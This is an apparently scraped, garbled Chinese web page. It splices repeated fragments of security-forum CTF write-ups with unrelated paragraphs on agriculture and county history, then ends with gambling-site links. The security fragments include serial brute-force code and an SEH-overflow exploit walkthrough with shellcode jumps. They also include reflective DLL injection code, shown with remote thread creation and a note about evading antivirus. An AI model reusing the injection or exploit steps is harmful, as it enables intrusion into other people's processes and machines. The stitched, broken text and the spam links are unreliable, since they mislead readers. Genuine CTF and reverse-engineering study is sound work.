printsn=+snbreak...【阅读全文】
ffx | 2018-1-16 | 阅读(128) | 评论(572)
  此外,积极推进农产品品牌建设工作。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。,但是他们没有办法控制通过个人邮箱分发的文件。zip解压缩apk文件,拿到.dex文件,经过dex2jar,jd-gui反编译拿到java代码,发现被名称混淆了,而且字符串也加密了。...【阅读全文】
d3x | 2018-1-15 | 阅读(636) | 评论(571)
因为对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$_SERVER方式获取。新发现的对象被添加到GC线程可以获取的全局工作表。,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。...【阅读全文】
3vx | 2018-1-15 | 阅读(765) | 评论(994)
LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。idapro打开,来到main函数fgets(sn,260,stru_4090E0);v3=strlen(sn)-1;if(v38||v320){sub_401BE0(aKeyLenErrorD__);return0;}输入长度为8-20个字符if(v30){do{v6=sn[v5];if(v6=0||v69)++v4;++v5;}while(v5v3);if(v4){sub_401BE0(aKeyFormatError);return0;}}字符组成为1-9big_init(b1);v22=0;big_load(b1,sn);nullsub_1();big_mul((int)b1,9);sn做为大数*9,即b1=sn*9while(1){big_init3(b2,sn);LOBYTE(v22)=1;v7=big_mul2((int)b1,(int)b2);v8=big_mul((int)b1,9)+v7;nullsub_1();if(v8||big_len((int)b1)%2!=1)gotoLABEL_16;v9=big_len((int)b1);v10=big_val((int)b1,v91);v11=big_val((int)b2,0);v12=b2;if(v10==v11)break;LABEL_17:LOBYTE(v22)=0;sub_401390(v12);if(v8){sub_401BE0(aWrongKey___);gotoLABEL_19;}}循环计算b1=b1*sn*9,直到b1长度为奇数且b1[len/2]==sn[0],其中b2==snb2_len=big_len((int)b2)-1;v14=1-big_len((int)b2);b1_len=big_len((int)b1);v16=big_compare(b1,(int)b2,b1_len+v14,1,b2_len,0);v17=big_len((int)b2);if(big_compare(b1,(int)b2,0,1,v17-1,1)+v16){v8=0;LABEL_16:v12=b2;gotoLABEL_17;}sub_401BE0(aWellDone);正向和反向比较b1和sn,长度为sn-1,即sn[1]开始的数字,至此可以确定是在求回文数。,并且这还不是唯一的问题。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528...【阅读全文】
x3z | 2018-1-15 | 阅读(383) | 评论(129)
但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode对消息信号中断(MSIs)来讲,ServiceRoutine指向了内核包装器函数KiInterruptMessageDispatch(),它通过MessageServiceRoutine指向的驱动提供的MSI中断服务例程来调用。,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A因此,内存管理器,对任何给定的实例,只能访问当前进程的MMWSL即目前在CPU上运行进程的线程。...【阅读全文】
fzn | 2018-1-15 | 阅读(2) | 评论(16)
但是,在相应的四个物联网设备中,Satori不会终止进程。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91},  “‘互联网+’给农业注入新动力,带动农业供给侧结构性改革和县域经济发展。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。...【阅读全文】
tnb | 2018-1-14 | 阅读(754) | 评论(640)
自秦代在此设立桂林郡,汉武帝时改称郁林郡,唐代改为贵州,历为郡治和州府所在地,至明洪武二年降州为县,后一直沿称贵县。系统中有多个MMPFNLIST结构体,它们中的每个都包含一个特定状态的页并被存储在内核变量nt!MmPageStateListHead中,这里的PageState可以表示待命(Standby)、已修改(Modified)、无写修改(ModifiedNoWrite),空闲(Free),只读(Rom),损坏(Bad),零化(Zeroed)。,我们要充分发挥这一得天独厚的优势,依托西江黄金水道,在现代物流、新兴产业、生态旅游、城市建设、县域经济发展等各方面加大力度,加速港产城融合发展,加快建成西江流域核心港口和新兴工业城市。  在船上召开的座谈会上,李新元首先与大家共同学习党的十九大精神。...【阅读全文】
l1f | 2018-1-14 | 阅读(599) | 评论(857)
APIs:因此,它同一时间只可以做一件事。,源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG]LPVOIDlpBuffer=HeapAlloc(GetProcessHeap(),0,dwLength);//创建缓冲区if(ReadFile(hFile,lpBuffer,dwLength,dwBytesRead,NULL)==false)//将DLL数据复制到缓冲区BreakForError("FailedtoreadtheDLLfile");HANDLEhTargetProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid);HANDLEhMoudle=LoadRemoteLibraryR(hTargetProcess,lpBuffer,dwLength,NULL);//获取加载器的地址(文件偏移)DWORDdwReflectiveLoaderOffset=GetReflectiveLoaderOffset(lpBuffer);//在目标进程分配内存(RWX)LPVOIDlpRemoteLibraryBuffer=VirtualAllocEx(hProcess,NULL,dwLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);//写数据WriteProcessMemory(hProcess,lpRemoteLibraryBuffer,lpBuffer,dwLength,NULL);//线程函数的地址=基地址+文件偏移LPTHREAD_START_ROUTINElpReflectiveLoader=(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer+dwReflectiveLoaderOffset);//创建远程线程hThread=CreateRemoteThread(hProcess,NULL,1024*1024,lpReflectiveLoader,lpParameter,(DWORD)NULL,dwThreadId);//基址-在Dropper进程中开辟的堆空间的起始地址UINT_PTRuiBaseAddress=(UINT_PTR)lpReflectiveDllBuffer;//得到NT头的文件地址UINT_PTRuiExportDir=(UINT_PTR)uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew;//获得导出表结构体指针的地址UINT_PTRuiNameArray=(UINT_PTR)(((PIMAGE_NT_HEADERS)uiExportDir)-[IMAGE_DIRECTORY_ENTRY_EXPORT]);//该调用中,第一个参数即为导出表结构体映射到内存的相对虚拟地址//结果为找到到导出表结构体的内存地址uiExportDir=uiBaseAddress+Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)-VirtualAddress,uiBaseAddress);//得到导出表名称数组在内存中的地址RVAuiNameArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNames,uiBaseAddress);//得到导出函数地址表在内存中的地址RVAUINT_PTRuiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//得到函数序号地址表在内存中的地址UINT_PTRuiNameOrdinals=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfNameOrdinals,uiBaseAddress);//导出函数的数量DWORDdwCounter=((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-NumberOfNames;while(dwCounter--){//这里需要将获取到的各表的RVA转化为各表实际的文件偏移char*cpExportedFunctionName=(char*)(uiBaseAddress+Rva2Offset((*(DWORD*)uiNameArray),uiBaseAddress));if(strstr(cpExportedFunctionName,"ReflectiveLoader")!=NULL){//获取地址表起始地址的实际位置uiAddressArray=uiBaseAddress+Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)-AddressOfFunctions,uiBaseAddress);//根据序号找到序号对应的函数地址uiAddressArray+=(*(WORD*)(uiNameOrdinals)*sizeof(DWORD));//返回ReflectiveLoader函数的文件偏移,即函数机器码的起始地址returnRva2Offset((*(DWORD*)uiAddressArray),uiBaseAddress);}uiNameArray+=sizeof(DWORD);uiNameOrdinals+=sizeof(WORD);}DWORDRva2Offset(DWORDdwRva,UINT_PTRuiBaseAddress){//得到nt头在内存中的实际地址PIMAGE_NT_HEADERSpNtHeaders=(PIMAGE_NT_HEADERS)(uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)-e_lfanew);//获得节表PIMAGE_SECTION_HEADERpSectionHeader=(PIMAGE_SECTION_HEADER)((UINT_PTR)(pNtHeaders-OptionalHeader)+);//不在任意块内if(dwRvapSectionHeader[0].PointerToRawData)returndwRva;//通过遍历块,来找到相对偏移地址对应的文件偏移地址for(WORDwIndex=0;;wIndex++){if(dwRva=pSectionHeader[wIndex].VirtualAddressdwRva(pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].SizeOfRawData))return(dwRva-pSectionHeader[wIndex].VirtualAddress+pSectionHeader[wIndex].PointerToRawData);//\------------------块内偏移-------------------/\-----------块在文件中的偏移------------/}}回想我们注射器实现的过程中所调用的函数,与正常的注入似乎没有太大的区别,而且像CreateRemoteProcess这种危险函数杀软抓的很严,是可以被替换掉的,而且没有发现LoadLibraryA函数。...【阅读全文】
共5页

友情链接,当前时间:2018-8-15

赌球网站排名 信誉赌场 线上赌博 真钱游戏下载 mg老虎机 电子游戏
澳门赌场开户 www.129905.com www.xpj8845.com 百家乐玩法 赌博网址 www.hg3862.com
www.7555l.com 赌场游戏 真人真钱游戏 www.ebet88.com 斗牛怎么玩 澳门赌场
www.151616.com 赌球网站排名 www.761155.com www.bet36576.com www.650199.net www.hh096.com